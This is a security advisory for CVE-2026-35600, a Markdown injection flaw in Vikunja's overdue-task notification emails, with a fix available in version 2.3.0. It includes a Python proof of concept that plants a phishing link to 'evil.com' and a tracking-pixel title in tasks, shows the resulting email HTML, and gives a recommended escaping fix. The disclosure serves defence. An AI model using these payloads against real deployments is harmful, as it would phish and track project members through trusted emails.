CVE-2026-35600: Vikunja has HTML Injection via Task Titles in Overdue Email Notifications
Summary Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows and tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails.
Published Apr 10, 2026
Affected packages
code.vikunja.io/api
- Ecosystem
- Go
- Affected
- <= 2.2.2
- Fixed in
- 2.3.0
- Check
go list -m code.vikunja.io/api
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows ` and ` tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails.
Details
The overdue task notification at pkg/models/notifications.go:360 constructs a Markdown list entry:
overdueLine += `* [` + task.Title + `](` + config.ServicePublicURL.GetString() + "tasks/" + strconv.FormatInt(task.ID, 10) + `) ...`The task title is placed inside Markdown link syntax [TITLE](URL). A title containing ] and [ breaks the link structure. The assembled Markdown is converted to HTML by goldmark at pkg/notifications/mail_render.go:214, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows ` and ` with http/https URLs, the injected links and images survive sanitization and reach the email recipient.
The same pattern affects multiple notification types at notifications.go lines 72, 176, 227, and 318.
Proof of Concept
Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink).
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json()
# create task with markdown injection in title + past due date
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
"title": 'test](https://evil.com) [Click to verify your account',
"due_date": "2026-03-26T00:00:00Z"})
# create task with tracking pixel injection
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
"title": '',
"due_date": "2026-03-26T00:00:00Z"})
# enable overdue reminders for the user
requests.post(f"{API}/user/settings/general", headers=h, json={
"email_reminders_enabled": True,
"overdue_tasks_reminders_enabled": True,
"overdue_tasks_reminders_time": "09:00"})
# wait for the overdue notification cron to fire, then inspect the emailThe overdue notification email HTML contains:
<li>
test
Click to verify your account
(Shared), since one day
</li>
<li>
(Shared), since one day
</li>The attacker's evil.com link appears as a clickable link in a legitimate Vikunja notification email. The tracking pixel loads when the email is opened.
Impact
An attacker with write access to a shared project can craft task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because these links appear within legitimate Vikunja notification emails from the configured SMTP server, recipients are more likely to trust and click them.
Recommended Fix
Escape Markdown special characters in task titles before embedding them in Markdown content:
func escapeMarkdown(s string) string {
replacer := strings.NewReplacer(
"[", "\\[", "]", "\\]",
"(", "\\(", ")", "\\)",
"!", "\\!", "`", "\\`",
"*", "\\*", "_", "\\_",
"#", "\\#",
)
return replacer.Replace(s)
}--- *Found and reported by aisafe.io*
Credited to adrgs, aisafe-bot.
References
- https://github.com/go-vikunja/vikunja/security/advisories/GHSA-45q4-x4r9-8fqj
- https://github.com/go-vikunja/vikunja/pull/2580
- https://github.com/go-vikunja/vikunja/commit/0f3730d045f20e261e3cdfc6d93c325653395b64
- https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-35600
- https://github.com/advisories/GHSA-45q4-x4r9-8fqj
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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